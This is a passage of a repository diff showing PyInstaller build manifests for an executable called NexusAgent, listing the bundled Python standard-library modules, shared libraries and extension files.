'/usr/lib/python3.10/encodings/shift_jis_2004.py',
'PYMODULE'),
('encodings.shift_jis',
'/usr/lib/python3.10/encodings/shift_jis.py',
'PYMODULE'),
('encodings.rot_13', '/usr/lib/python3.10/encodings/rot_13.py', 'PYMODULE'),
('encodings.raw_unicode_escape',
'/usr/lib/python3.10/encodings/raw_unicode_escape.py',
'PYMODULE'),
('encodings.quopri_codec',
'/usr/lib/python3.10/encodings/quopri_codec.py',
'PYMODULE'),
('encodings.punycode',
'/usr/lib/python3.10/encodings/punycode.py',
'PYMODULE'),
('encodings.ptcp154', '/usr/lib/python3.10/encodings/ptcp154.py', 'PYMODULE'),
('encodings.palmos', '/usr/lib/python3.10/encodings/palmos.py', 'PYMODULE'),
('encodings.oem', '/usr/lib/python3.10/encodings/oem.py', 'PYMODULE'),
('encodings.mbcs', '/usr/lib/python3.10/encodings/mbcs.py', 'PYMODULE'),
('encodings.mac_turkish',
'/usr/lib/python3.10/encodings/mac_turkish.py',
'PYMODULE'),
('encodings.mac_romanian',
'/usr/lib/python3.10/encodings/mac_romanian.py',
'PYMODULE'),
('encodings.mac_roman',
'/usr/lib/python3.10/encodings/mac_roman.py',
'PYMODULE'),
('encodings.mac_latin2',
'/usr/lib/python3.10/encodings/mac_latin2.py',
'PYMODULE'),
('encodings.mac_iceland',
'/usr/lib/python3.10/encodings/mac_iceland.py',
'PYMODULE'),
('encodings.mac_greek',
'/usr/lib/python3.10/encodings/mac_greek.py',
'PYMODULE'),
('encodings.mac_farsi',
'/usr/lib/python3.10/encodings/mac_farsi.py',
'PYMODULE'),
('encodings.mac_cyrillic',
'/usr/lib/python3.10/encodings/mac_cyrillic.py',
'PYMODULE'),
('encodings.mac_croatian',
'/usr/lib/python3.10/encodings/mac_croatian.py',
'PYMODULE'),
('encodings.mac_arabic',
'/usr/lib/python3.10/encodings/mac_arabic.py',
'PYMODULE'),
('encodings.latin_1', '/usr/lib/python3.10/encodings/latin_1.py', 'PYMODULE'),
('encodings.kz1048', '/usr/lib/python3.10/encodings/kz1048.py', 'PYMODULE'),
('encodings.koi8_u', '/usr/lib/python3.10/encodings/koi8_u.py', 'PYMODULE'),
('encodings.koi8_t', '/usr/lib/python3.10/encodings/koi8_t.py', 'PYMODULE'),
('encodings.koi8_r', '/usr/lib/python3.10/encodings/koi8_r.py', 'PYMODULE'),
('encodings.johab', '/usr/lib/python3.10/encodings/johab.py', 'PYMODULE'),
('encodings.iso8859_9',
'/usr/lib/python3.10/encodings/iso8859_9.py',
'PYMODULE'),
('encodings.iso8859_8',
'/usr/lib/python3.10/encodings/iso8859_8.py',
'PYMODULE'),
('encodings.iso8859_7',
'/usr/lib/python3.10/encodings/iso8859_7.py',
'PYMODULE'),
('encodings.iso8859_6',
'/usr/lib/python3.10/encodings/iso8859_6.py',
'PYMODULE'),
('encodings.iso8859_5',
'/usr/lib/python3.10/encodings/iso8859_5.py',
'PYMODULE'),
('encodings.iso8859_4',
'/usr/lib/python3.10/encodings/iso8859_4.py',
'PYMODULE'),
('encodings.iso8859_3',
'/usr/lib/python3.10/encodings/iso8859_3.py',
'PYMODULE'),
('encodings.iso8859_2',
'/usr/lib/python3.10/encodings/iso8859_2.py',
'PYMODULE'),
('encodings.iso8859_16',
'/usr/lib/python3.10/encodings/iso8859_16.py',
'PYMODULE'),
('encodings.iso8859_15',
'/usr/lib/python3.10/encodings/iso8859_15.py',
'PYMODULE'),
('encodings.iso8859_14',
'/usr/lib/python3.10/encodings/iso8859_14.py',
'PYMODULE'),
('encodings.iso8859_13',
'/usr/lib/python3.10/encodings/iso8859_13.py',
'PYMODULE'),
('encodings.iso8859_11',
'/usr/lib/python3.10/encodings/iso8859_11.py',
'PYMODULE'),
('encodings.iso8859_10',
'/usr/lib/python3.10/encodings/iso8859_10.py',
'PYMODULE'),
('encodings.iso8859_1',
'/usr/lib/python3.10/encodings/iso8859_1.py',
'PYMODULE'),
('encodings.iso2022_kr',
'/usr/lib/python3.10/encodings/iso2022_kr.py',
'PYMODULE'),
('encodings.iso2022_jp_ext',
'/usr/lib/python3.10/encodings/iso2022_jp_ext.py',
'PYMODULE'),
('encodings.iso2022_jp_3',
'/usr/lib/python3.10/encodings/iso2022_jp_3.py',
'PYMODULE'),
('encodings.iso2022_jp_2004',
'/usr/lib/python3.10/encodings/iso2022_jp_2004.py',
'PYMODULE'),
('encodings.iso2022_jp_2',
'/usr/lib/python3.10/encodings/iso2022_jp_2.py',
'PYMODULE'),
('encodings.iso2022_jp_1',
'/usr/lib/python3.10/encodings/iso2022_jp_1.py',
'PYMODULE'),
('encodings.iso2022_jp',
'/usr/lib/python3.10/encodings/iso2022_jp.py',
'PYMODULE'),
('encodings.idna', '/usr/lib/python3.10/encodings/idna.py', 'PYMODULE'),
('encodings.hz', '/usr/lib/python3.10/encodings/hz.py', 'PYMODULE'),
('encodings.hp_roman8',
'/usr/lib/python3.10/encodings/hp_roman8.py',
'PYMODULE'),
('encodings.hex_codec',
'/usr/lib/python3.10/encodings/hex_codec.py',
'PYMODULE'),
('encodings.gbk', '/usr/lib/python3.10/encodings/gbk.py', 'PYMODULE'),
('encodings.gb2312', '/usr/lib/python3.10/encodings/gb2312.py', 'PYMODULE'),
('encodings.gb18030', '/usr/lib/python3.10/encodings/gb18030.py', 'PYMODULE'),
('encodings.euc_kr', '/usr/lib/python3.10/encodings/euc_kr.py', 'PYMODULE'),
('encodings.euc_jp', '/usr/lib/python3.10/encodings/euc_jp.py', 'PYMODULE'),
('encodings.euc_jisx0213',
'/usr/lib/python3.10/encodings/euc_jisx0213.py',
'PYMODULE'),
('encodings.euc_jis_2004',
'/usr/lib/python3.10/encodings/euc_jis_2004.py',
'PYMODULE'),
('encodings.cp950', '/usr/lib/python3.10/encodings/cp950.py', 'PYMODULE'),
('encodings.cp949', '/usr/lib/python3.10/encodings/cp949.py', 'PYMODULE'),
('encodings.cp932', '/usr/lib/python3.10/encodings/cp932.py', 'PYMODULE'),
('encodings.cp875', '/usr/lib/python3.10/encodings/cp875.py', 'PYMODULE'),
('encodings.cp874', '/usr/lib/python3.10/encodings/cp874.py', 'PYMODULE'),
('encodings.cp869', '/usr/lib/python3.10/encodings/cp869.py', 'PYMODULE'),
('encodings.cp866', '/usr/lib/python3.10/encodings/cp866.py', 'PYMODULE'),
('encodings.cp865', '/usr/lib/python3.10/encodings/cp865.py', 'PYMODULE'),
('encodings.cp864', '/usr/lib/python3.10/encodings/cp864.py', 'PYMODULE'),
('encodings.cp863', '/usr/lib/python3.10/encodings/cp863.py', 'PYMODULE'),
('encodings.cp862', '/usr/lib/python3.10/encodings/cp862.py', 'PYMODULE'),
('encodings.cp861', '/usr/lib/python3.10/encodings/cp861.py', 'PYMODULE'),
('encodings.cp860', '/usr/lib/python3.10/encodings/cp860.py', 'PYMODULE'),
('encodings.cp858', '/usr/lib/python3.10/encodings/cp858.py', 'PYMODULE'),
('encodings.cp857', '/usr/lib/python3.10/encodings/cp857.py', 'PYMODULE'),
('encodings.cp856', '/usr/lib/python3.10/encodings/cp856.py', 'PYMODULE'),
('encodings.cp855', '/usr/lib/python3.10/encodings/cp855.py', 'PYMODULE'),
('encodings.cp852', '/usr/lib/python3.10/encodings/cp852.py', 'PYMODULE'),
('encodings.cp850', '/usr/lib/python3.10/encodings/cp850.py', 'PYMODULE'),
('encodings.cp775', '/usr/lib/python3.10/encodings/cp775.py', 'PYMODULE'),
('encodings.cp737', '/usr/lib/python3.10/encodings/cp737.py', 'PYMODULE'),
('encodings.cp720', '/usr/lib/python3.10/encodings/cp720.py', 'PYMODULE'),
('encodings.cp500', '/usr/lib/python3.10/encodings/cp500.py', 'PYMODULE'),
('encodings.cp437', '/usr/lib/python3.10/encodings/cp437.py', 'PYMODULE'),
('encodings.cp424', '/usr/lib/python3.10/encodings/cp424.py', 'PYMODULE'),
('encodings.cp273', '/usr/lib/python3.10/encodings/cp273.py', 'PYMODULE'),
('encodings.cp1258', '/usr/lib/python3.10/encodings/cp1258.py', 'PYMODULE'),
('encodings.cp1257', '/usr/lib/python3.10/encodings/cp1257.py', 'PYMODULE'),
('encodings.cp1256', '/usr/lib/python3.10/encodings/cp1256.py', 'PYMODULE'),
('encodings.cp1255', '/usr/lib/python3.10/encodings/cp1255.py', 'PYMODULE'),
('encodings.cp1254', '/usr/lib/python3.10/encodings/cp1254.py', 'PYMODULE'),
('encodings.cp1253', '/usr/lib/python3.10/encodings/cp1253.py', 'PYMODULE'),
('encodings.cp1252', '/usr/lib/python3.10/encodings/cp1252.py', 'PYMODULE'),
('encodings.cp1251', '/usr/lib/python3.10/encodings/cp1251.py', 'PYMODULE'),
('encodings.cp1250', '/usr/lib/python3.10/encodings/cp1250.py', 'PYMODULE'),
('encodings.cp1140', '/usr/lib/python3.10/encodings/cp1140.py', 'PYMODULE'),
('encodings.cp1125', '/usr/lib/python3.10/encodings/cp1125.py', 'PYMODULE'),
('encodings.cp1026', '/usr/lib/python3.10/encodings/cp1026.py', 'PYMODULE'),
('encodings.cp1006', '/usr/lib/python3.10/encodings/cp1006.py', 'PYMODULE'),
('encodings.cp037', '/usr/lib/python3.10/encodings/cp037.py', 'PYMODULE'),
('encodings.charmap', '/usr/lib/python3.10/encodings/charmap.py', 'PYMODULE'),
('encodings.bz2_codec',
'/usr/lib/python3.10/encodings/bz2_codec.py',
'PYMODULE'),
('encodings.big5hkscs',
'/usr/lib/python3.10/encodings/big5hkscs.py',
'PYMODULE'),
('encodings.big5', '/usr/lib/python3.10/encodings/big5.py', 'PYMODULE'),
('encodings.base64_codec',
'/usr/lib/python3.10/encodings/base64_codec.py',
'PYMODULE'),
('encodings.ascii', '/usr/lib/python3.10/encodings/ascii.py', 'PYMODULE'),
('encodings.aliases', '/usr/lib/python3.10/encodings/aliases.py', 'PYMODULE'),
('encodings', '/usr/lib/python3.10/encodings/__init__.py', 'PYMODULE'),
('os', '/usr/lib/python3.10/os.py', 'PYMODULE')])

108
build/NexusAgent/EXE-00.toc Normal file
View File

@@ -0,0 +1,108 @@
('/root/agent-dashboard/public/bin/NexusAgent',
True,
False,
False,
None,
None,
False,
False,
None,
True,
False,
None,
None,
None,
'/root/agent-dashboard/build/NexusAgent/NexusAgent.pkg',
[('pyi-contents-directory _internal', '', 'OPTION'),
('PYZ-00.pyz', '/root/agent-dashboard/build/NexusAgent/PYZ-00.pyz', 'PYZ'),
('struct',
'/root/agent-dashboard/build/NexusAgent/localpycs/struct.pyc',
'PYMODULE'),
('pyimod01_archive',
'/root/agent-dashboard/build/NexusAgent/localpycs/pyimod01_archive.pyc',
'PYMODULE'),
('pyimod02_importers',
'/root/agent-dashboard/build/NexusAgent/localpycs/pyimod02_importers.pyc',
'PYMODULE'),
('pyimod03_ctypes',
'/root/agent-dashboard/build/NexusAgent/localpycs/pyimod03_ctypes.pyc',
'PYMODULE'),
('pyiboot01_bootstrap',
'/usr/local/lib/python3.10/dist-packages/PyInstaller/loader/pyiboot01_bootstrap.py',
'PYSOURCE'),
('pyi_rth_inspect',
'/usr/local/lib/python3.10/dist-packages/PyInstaller/hooks/rthooks/pyi_rth_inspect.py',
'PYSOURCE'),
('agent', '/root/agent-dashboard/agents/agent.py', 'PYSOURCE'),
('libpython3.10.so.1.0',
'/lib/x86_64-linux-gnu/libpython3.10.so.1.0',
'BINARY'),
('python3.10/lib-dynload/_contextvars.cpython-310-x86_64-linux-gnu.so',
'/usr/lib/python3.10/lib-dynload/_contextvars.cpython-310-x86_64-linux-gnu.so',
'EXTENSION'),
('python3.10/lib-dynload/_decimal.cpython-310-x86_64-linux-gnu.so',
'/usr/lib/python3.10/lib-dynload/_decimal.cpython-310-x86_64-linux-gnu.so',
'EXTENSION'),
('python3.10/lib-dynload/_hashlib.cpython-310-x86_64-linux-gnu.so',
'/usr/lib/python3.10/lib-dynload/_hashlib.cpython-310-x86_64-linux-gnu.so',
'EXTENSION'),
('python3.10/lib-dynload/resource.cpython-310-x86_64-linux-gnu.so',
'/usr/lib/python3.10/lib-dynload/resource.cpython-310-x86_64-linux-gnu.so',
'EXTENSION'),
('python3.10/lib-dynload/_lzma.cpython-310-x86_64-linux-gnu.so',
'/usr/lib/python3.10/lib-dynload/_lzma.cpython-310-x86_64-linux-gnu.so',
'EXTENSION'),
('python3.10/lib-dynload/_bz2.cpython-310-x86_64-linux-gnu.so',
'/usr/lib/python3.10/lib-dynload/_bz2.cpython-310-x86_64-linux-gnu.so',
'EXTENSION'),
('python3.10/lib-dynload/_opcode.cpython-310-x86_64-linux-gnu.so',
'/usr/lib/python3.10/lib-dynload/_opcode.cpython-310-x86_64-linux-gnu.so',
'EXTENSION'),
('python3.10/lib-dynload/_multibytecodec.cpython-310-x86_64-linux-gnu.so',
'/usr/lib/python3.10/lib-dynload/_multibytecodec.cpython-310-x86_64-linux-gnu.so',
'EXTENSION'),
('python3.10/lib-dynload/_codecs_jp.cpython-310-x86_64-linux-gnu.so',
'/usr/lib/python3.10/lib-dynload/_codecs_jp.cpython-310-x86_64-linux-gnu.so',
'EXTENSION'),
('python3.10/lib-dynload/_codecs_kr.cpython-310-x86_64-linux-gnu.so',
'/usr/lib/python3.10/lib-dynload/_codecs_kr.cpython-310-x86_64-linux-gnu.so',
'EXTENSION'),
('python3.10/lib-dynload/_codecs_iso2022.cpython-310-x86_64-linux-gnu.so',
'/usr/lib/python3.10/lib-dynload/_codecs_iso2022.cpython-310-x86_64-linux-gnu.so',
'EXTENSION'),
('python3.10/lib-dynload/_codecs_cn.cpython-310-x86_64-linux-gnu.so',
'/usr/lib/python3.10/lib-dynload/_codecs_cn.cpython-310-x86_64-linux-gnu.so',
'EXTENSION'),
('python3.10/lib-dynload/_codecs_tw.cpython-310-x86_64-linux-gnu.so',
'/usr/lib/python3.10/lib-dynload/_codecs_tw.cpython-310-x86_64-linux-gnu.so',
'EXTENSION'),
('python3.10/lib-dynload/_codecs_hk.cpython-310-x86_64-linux-gnu.so',
'/usr/lib/python3.10/lib-dynload/_codecs_hk.cpython-310-x86_64-linux-gnu.so',
'EXTENSION'),
('python3.10/lib-dynload/termios.cpython-310-x86_64-linux-gnu.so',
'/usr/lib/python3.10/lib-dynload/termios.cpython-310-x86_64-linux-gnu.so',
'EXTENSION'),
('python3.10/lib-dynload/_ssl.cpython-310-x86_64-linux-gnu.so',
'/usr/lib/python3.10/lib-dynload/_ssl.cpython-310-x86_64-linux-gnu.so',
'EXTENSION'),
('python3.10/lib-dynload/_json.cpython-310-x86_64-linux-gnu.so',
'/usr/lib/python3.10/lib-dynload/_json.cpython-310-x86_64-linux-gnu.so',
'EXTENSION'),
('libz.so.1', '/lib/x86_64-linux-gnu/libz.so.1', 'BINARY'),
('libexpat.so.1', '/lib/x86_64-linux-gnu/libexpat.so.1', 'BINARY'),
('libmpdec.so.3', '/lib/x86_64-linux-gnu/libmpdec.so.3', 'BINARY'),
('libcrypto.so.3', '/lib/x86_64-linux-gnu/libcrypto.so.3', 'BINARY'),
('liblzma.so.5', '/lib/x86_64-linux-gnu/liblzma.so.5', 'BINARY'),
('libbz2.so.1.0', '/lib/x86_64-linux-gnu/libbz2.so.1.0', 'BINARY'),
('libssl.so.3', '/lib/x86_64-linux-gnu/libssl.so.3', 'BINARY'),
('base_library.zip',
'/root/agent-dashboard/build/NexusAgent/base_library.zip',
'DATA')],
[],
False,
False,
1785742568,
[('run',
'/usr/local/lib/python3.10/dist-packages/PyInstaller/bootloader/Linux-64bit-intel/run',
'EXECUTABLE')],
'/lib/x86_64-linux-gnu/libpython3.10.so.1.0')

Binary file not shown.

103
build/NexusAgent/PKG-00.toc Normal file
View File

@@ -0,0 +1,103 @@
('/root/agent-dashboard/build/NexusAgent/NexusAgent.pkg',
{'BINARY': True,
'DATA': True,
'EXECUTABLE': True,
'EXTENSION': True,
'PYMODULE': True,
'PYSOURCE': True,
'PYZ': False,
'SPLASH': True,
'SYMLINK': False},
[('pyi-contents-directory _internal', '', 'OPTION'),
('PYZ-00.pyz', '/root/agent-dashboard/build/NexusAgent/PYZ-00.pyz', 'PYZ'),
('struct',
'/root/agent-dashboard/build/NexusAgent/localpycs/struct.pyc',
'PYMODULE'),
('pyimod01_archive',
'/root/agent-dashboard/build/NexusAgent/localpycs/pyimod01_archive.pyc',
'PYMODULE'),
('pyimod02_importers',
'/root/agent-dashboard/build/NexusAgent/localpycs/pyimod02_importers.pyc',
'PYMODULE'),
('pyimod03_ctypes',
'/root/agent-dashboard/build/NexusAgent/localpycs/pyimod03_ctypes.pyc',
'PYMODULE'),
('pyiboot01_bootstrap',
'/usr/local/lib/python3.10/dist-packages/PyInstaller/loader/pyiboot01_bootstrap.py',
'PYSOURCE'),
('pyi_rth_inspect',
'/usr/local/lib/python3.10/dist-packages/PyInstaller/hooks/rthooks/pyi_rth_inspect.py',
'PYSOURCE'),
('agent', '/root/agent-dashboard/agents/agent.py', 'PYSOURCE'),
('libpython3.10.so.1.0',
'/lib/x86_64-linux-gnu/libpython3.10.so.1.0',
'BINARY'),
('python3.10/lib-dynload/_contextvars.cpython-310-x86_64-linux-gnu.so',
'/usr/lib/python3.10/lib-dynload/_contextvars.cpython-310-x86_64-linux-gnu.so',
'EXTENSION'),
('python3.10/lib-dynload/_decimal.cpython-310-x86_64-linux-gnu.so',
'/usr/lib/python3.10/lib-dynload/_decimal.cpython-310-x86_64-linux-gnu.so',
'EXTENSION'),
('python3.10/lib-dynload/_hashlib.cpython-310-x86_64-linux-gnu.so',
'/usr/lib/python3.10/lib-dynload/_hashlib.cpython-310-x86_64-linux-gnu.so',
'EXTENSION'),
('python3.10/lib-dynload/resource.cpython-310-x86_64-linux-gnu.so',
'/usr/lib/python3.10/lib-dynload/resource.cpython-310-x86_64-linux-gnu.so',
'EXTENSION'),
('python3.10/lib-dynload/_lzma.cpython-310-x86_64-linux-gnu.so',
'/usr/lib/python3.10/lib-dynload/_lzma.cpython-310-x86_64-linux-gnu.so',
'EXTENSION'),
('python3.10/lib-dynload/_bz2.cpython-310-x86_64-linux-gnu.so',
'/usr/lib/python3.10/lib-dynload/_bz2.cpython-310-x86_64-linux-gnu.so',
'EXTENSION'),
('python3.10/lib-dynload/_opcode.cpython-310-x86_64-linux-gnu.so',
'/usr/lib/python3.10/lib-dynload/_opcode.cpython-310-x86_64-linux-gnu.so',
'EXTENSION'),
('python3.10/lib-dynload/_multibytecodec.cpython-310-x86_64-linux-gnu.so',
'/usr/lib/python3.10/lib-dynload/_multibytecodec.cpython-310-x86_64-linux-gnu.so',
'EXTENSION'),
('python3.10/lib-dynload/_codecs_jp.cpython-310-x86_64-linux-gnu.so',
'/usr/lib/python3.10/lib-dynload/_codecs_jp.cpython-310-x86_64-linux-gnu.so',
'EXTENSION'),
('python3.10/lib-dynload/_codecs_kr.cpython-310-x86_64-linux-gnu.so',
'/usr/lib/python3.10/lib-dynload/_codecs_kr.cpython-310-x86_64-linux-gnu.so',
'EXTENSION'),
('python3.10/lib-dynload/_codecs_iso2022.cpython-310-x86_64-linux-gnu.so',
'/usr/lib/python3.10/lib-dynload/_codecs_iso2022.cpython-310-x86_64-linux-gnu.so',
'EXTENSION'),
('python3.10/lib-dynload/_codecs_cn.cpython-310-x86_64-linux-gnu.so',
'/usr/lib/python3.10/lib-dynload/_codecs_cn.cpython-310-x86_64-linux-gnu.so',
'EXTENSION'),
('python3.10/lib-dynload/_codecs_tw.cpython-310-x86_64-linux-gnu.so',
'/usr/lib/python3.10/lib-dynload/_codecs_tw.cpython-310-x86_64-linux-gnu.so',
'EXTENSION'),
('python3.10/lib-dynload/_codecs_hk.cpython-310-x86_64-linux-gnu.so',
'/usr/lib/python3.10/lib-dynload/_codecs_hk.cpython-310-x86_64-linux-gnu.so',
'EXTENSION'),
('python3.10/lib-dynload/termios.cpython-310-x86_64-linux-gnu.so',
'/usr/lib/python3.10/lib-dynload/termios.cpython-310-x86_64-linux-gnu.so',
'EXTENSION'),
('python3.10/lib-dynload/_ssl.cpython-310-x86_64-linux-gnu.so',
'/usr/lib/python3.10/lib-dynload/_ssl.cpython-310-x86_64-linux-gnu.so',
'EXTENSION'),
('python3.10/lib-dynload/_json.cpython-310-x86_64-linux-gnu.so',
'/usr/lib/python3.10/lib-dynload/_json.cpython-310-x86_64-linux-gnu.so',
'EXTENSION'),
('libz.so.1', '/lib/x86_64-linux-gnu/libz.so.1', 'BINARY'),
('libexpat.so.1', '/lib/x86_64-linux-gnu/libexpat.so.1', 'BINARY'),
('libmpdec.so.3', '/lib/x86_64-linux-gnu/libmpdec.so.3', 'BINARY'),
('libcrypto.so.3', '/lib/x86_64-linux-gnu/libcrypto.so.3', 'BINARY'),
('liblzma.so.5', '/lib/x86_64-linux-gnu/liblzma.so.5', 'BINARY'),
('libbz2.so.1.0', '/lib/x86_64-linux-gnu/libbz2.so.1.0', 'BINARY'),
('libssl.so.3', '/lib/x86_64-linux-gnu/libssl.so.3', 'BINARY'),
('base_library.zip',
'/root/agent-dashboard/build/NexusAgent/base_library.zip',
'DATA')],
'libpython3.10.so.1.0',
False,
False,
False,
[],
None,
None,
None)

BIN
build/NexusAgent/PYZ-00.pyz Normal file

Binary file not shown.

141
build/NexusAgent/PYZ-00.toc Normal file
View File

@@ -0,0 +1,141 @@
('/root/agent-dashboard/build/NexusAgent/PYZ-00.pyz',
[('_compat_pickle', '/usr/lib/python3.10/_compat_pickle.py', 'PYMODULE'),
('_compression', '/usr/lib/python3.10/_compression.py', 'PYMODULE'),
('_py_abc', '/usr/lib/python3.10/_py_abc.py', 'PYMODULE'),
('_pydecimal', '/usr/lib/python3.10/_pydecimal.py', 'PYMODULE'),
('_strptime', '/usr/lib/python3.10/_strptime.py', 'PYMODULE'),
('_threading_local', '/usr/lib/python3.10/_threading_local.py', 'PYMODULE'),
('argparse', '/usr/lib/python3.10/argparse.py', 'PYMODULE'),
('ast', '/usr/lib/python3.10/ast.py', 'PYMODULE'),
('base64', '/usr/lib/python3.10/base64.py', 'PYMODULE'),
('bisect', '/usr/lib/python3.10/bisect.py', 'PYMODULE'),
('bz2', '/usr/lib/python3.10/bz2.py', 'PYMODULE'),
('calendar', '/usr/lib/python3.10/calendar.py', 'PYMODULE'),
('contextlib', '/usr/lib/python3.10/contextlib.py', 'PYMODULE'),
('contextvars', '/usr/lib/python3.10/contextvars.py', 'PYMODULE'),
('copy', '/usr/lib/python3.10/copy.py', 'PYMODULE'),
('csv', '/usr/lib/python3.10/csv.py', 'PYMODULE'),
('dataclasses', '/usr/lib/python3.10/dataclasses.py', 'PYMODULE'),
('datetime', '/usr/lib/python3.10/datetime.py', 'PYMODULE'),
('decimal', '/usr/lib/python3.10/decimal.py', 'PYMODULE'),
('dis', '/usr/lib/python3.10/dis.py', 'PYMODULE'),
('email', '/usr/lib/python3.10/email/__init__.py', 'PYMODULE'),
('email._encoded_words',
'/usr/lib/python3.10/email/_encoded_words.py',
'PYMODULE'),
('email._header_value_parser',
'/usr/lib/python3.10/email/_header_value_parser.py',
'PYMODULE'),
('email._parseaddr', '/usr/lib/python3.10/email/_parseaddr.py', 'PYMODULE'),
('email._policybase', '/usr/lib/python3.10/email/_policybase.py', 'PYMODULE'),
('email.base64mime', '/usr/lib/python3.10/email/base64mime.py', 'PYMODULE'),
('email.charset', '/usr/lib/python3.10/email/charset.py', 'PYMODULE'),
('email.contentmanager',
'/usr/lib/python3.10/email/contentmanager.py',
'PYMODULE'),
('email.encoders', '/usr/lib/python3.10/email/encoders.py', 'PYMODULE'),
('email.errors', '/usr/lib/python3.10/email/errors.py', 'PYMODULE'),
('email.feedparser', '/usr/lib/python3.10/email/feedparser.py', 'PYMODULE'),
('email.generator', '/usr/lib/python3.10/email/generator.py', 'PYMODULE'),
('email.header', '/usr/lib/python3.10/email/header.py', 'PYMODULE'),
('email.headerregistry',
'/usr/lib/python3.10/email/headerregistry.py',
'PYMODULE'),
('email.iterators', '/usr/lib/python3.10/email/iterators.py', 'PYMODULE'),
('email.message', '/usr/lib/python3.10/email/message.py', 'PYMODULE'),
('email.parser', '/usr/lib/python3.10/email/parser.py', 'PYMODULE'),
('email.policy', '/usr/lib/python3.10/email/policy.py', 'PYMODULE'),
('email.quoprimime', '/usr/lib/python3.10/email/quoprimime.py', 'PYMODULE'),
('email.utils', '/usr/lib/python3.10/email/utils.py', 'PYMODULE'),
('fnmatch', '/usr/lib/python3.10/fnmatch.py', 'PYMODULE'),
('fractions', '/usr/lib/python3.10/fractions.py', 'PYMODULE'),
('ftplib', '/usr/lib/python3.10/ftplib.py', 'PYMODULE'),
('getopt', '/usr/lib/python3.10/getopt.py', 'PYMODULE'),
('getpass', '/usr/lib/python3.10/getpass.py', 'PYMODULE'),
('gettext', '/usr/lib/python3.10/gettext.py', 'PYMODULE'),
('gzip', '/usr/lib/python3.10/gzip.py', 'PYMODULE'),
('hashlib', '/usr/lib/python3.10/hashlib.py', 'PYMODULE'),
('http', '/usr/lib/python3.10/http/__init__.py', 'PYMODULE'),
('http.client', '/usr/lib/python3.10/http/client.py', 'PYMODULE'),
('http.cookiejar', '/usr/lib/python3.10/http/cookiejar.py', 'PYMODULE'),
('importlib', '/usr/lib/python3.10/importlib/__init__.py', 'PYMODULE'),
('importlib._abc', '/usr/lib/python3.10/importlib/_abc.py', 'PYMODULE'),
('importlib._bootstrap',
'/usr/lib/python3.10/importlib/_bootstrap.py',
'PYMODULE'),
('importlib._bootstrap_external',
'/usr/lib/python3.10/importlib/_bootstrap_external.py',
'PYMODULE'),
('importlib.abc', '/usr/lib/python3.10/importlib/abc.py', 'PYMODULE'),
('importlib.machinery',
'/usr/lib/python3.10/importlib/machinery.py',
'PYMODULE'),
('importlib.metadata',
'/usr/lib/python3.10/importlib/metadata/__init__.py',
'PYMODULE'),
('importlib.metadata._adapters',
'/usr/lib/python3.10/importlib/metadata/_adapters.py',
'PYMODULE'),
('importlib.metadata._collections',
'/usr/lib/python3.10/importlib/metadata/_collections.py',
'PYMODULE'),
('importlib.metadata._functools',
'/usr/lib/python3.10/importlib/metadata/_functools.py',
'PYMODULE'),
('importlib.metadata._itertools',
'/usr/lib/python3.10/importlib/metadata/_itertools.py',
'PYMODULE'),
('importlib.metadata._meta',
'/usr/lib/python3.10/importlib/metadata/_meta.py',
'PYMODULE'),
('importlib.metadata._text',
'/usr/lib/python3.10/importlib/metadata/_text.py',
'PYMODULE'),
('importlib.readers', '/usr/lib/python3.10/importlib/readers.py', 'PYMODULE'),
('importlib.util', '/usr/lib/python3.10/importlib/util.py', 'PYMODULE'),
('inspect', '/usr/lib/python3.10/inspect.py', 'PYMODULE'),
('ipaddress', '/usr/lib/python3.10/ipaddress.py', 'PYMODULE'),
('json', '/usr/lib/python3.10/json/__init__.py', 'PYMODULE'),
('json.decoder', '/usr/lib/python3.10/json/decoder.py', 'PYMODULE'),
('json.encoder', '/usr/lib/python3.10/json/encoder.py', 'PYMODULE'),
('json.scanner', '/usr/lib/python3.10/json/scanner.py', 'PYMODULE'),
('logging', '/usr/lib/python3.10/logging/__init__.py', 'PYMODULE'),
('lzma', '/usr/lib/python3.10/lzma.py', 'PYMODULE'),
('mimetypes', '/usr/lib/python3.10/mimetypes.py', 'PYMODULE'),
('netrc', '/usr/lib/python3.10/netrc.py', 'PYMODULE'),
('nturl2path', '/usr/lib/python3.10/nturl2path.py', 'PYMODULE'),
('numbers', '/usr/lib/python3.10/numbers.py', 'PYMODULE'),
('opcode', '/usr/lib/python3.10/opcode.py', 'PYMODULE'),
('optparse', '/usr/lib/python3.10/optparse.py', 'PYMODULE'),
('pathlib', '/usr/lib/python3.10/pathlib.py', 'PYMODULE'),
('pickle', '/usr/lib/python3.10/pickle.py', 'PYMODULE'),
('platform', '/usr/lib/python3.10/platform.py', 'PYMODULE'),
('pprint', '/usr/lib/python3.10/pprint.py', 'PYMODULE'),
('py_compile', '/usr/lib/python3.10/py_compile.py', 'PYMODULE'),
('quopri', '/usr/lib/python3.10/quopri.py', 'PYMODULE'),
('random', '/usr/lib/python3.10/random.py', 'PYMODULE'),
('selectors', '/usr/lib/python3.10/selectors.py', 'PYMODULE'),
('shlex', '/usr/lib/python3.10/shlex.py', 'PYMODULE'),
('shutil', '/usr/lib/python3.10/shutil.py', 'PYMODULE'),
('signal', '/usr/lib/python3.10/signal.py', 'PYMODULE'),
('socket', '/usr/lib/python3.10/socket.py', 'PYMODULE'),
('ssl', '/usr/lib/python3.10/ssl.py', 'PYMODULE'),
('statistics', '/usr/lib/python3.10/statistics.py', 'PYMODULE'),
('string', '/usr/lib/python3.10/string.py', 'PYMODULE'),
('stringprep', '/usr/lib/python3.10/stringprep.py', 'PYMODULE'),
('subprocess', '/usr/lib/python3.10/subprocess.py', 'PYMODULE'),
('tarfile', '/usr/lib/python3.10/tarfile.py', 'PYMODULE'),
('tempfile', '/usr/lib/python3.10/tempfile.py', 'PYMODULE'),
('textwrap', '/usr/lib/python3.10/textwrap.py', 'PYMODULE'),
('threading', '/usr/lib/python3.10/threading.py', 'PYMODULE'),
('token', '/usr/lib/python3.10/token.py', 'PYMODULE'),
('tokenize', '/usr/lib/python3.10/tokenize.py', 'PYMODULE'),
('tracemalloc', '/usr/lib/python3.10/tracemalloc.py', 'PYMODULE'),
('typing', '/usr/lib/python3.10/typing.py', 'PYMODULE'),
('urllib', '/usr/lib/python3.10/urllib/__init__.py', 'PYMODULE'),
('urllib.error', '/usr/lib/python3.10/urllib/error.py', 'PYMODULE'),
('urllib.parse', '/usr/lib/python3.10/urllib/parse.py', 'PYMODULE'),
('urllib.request', '/usr/lib/python3.10/urllib/request.py', 'PYMODULE'),
('urllib.response', '/usr/lib/python3.10/urllib/response.py', 'PYMODULE'),
('uu', '/usr/lib/python3.10/uu.py', 'PYMODULE'),
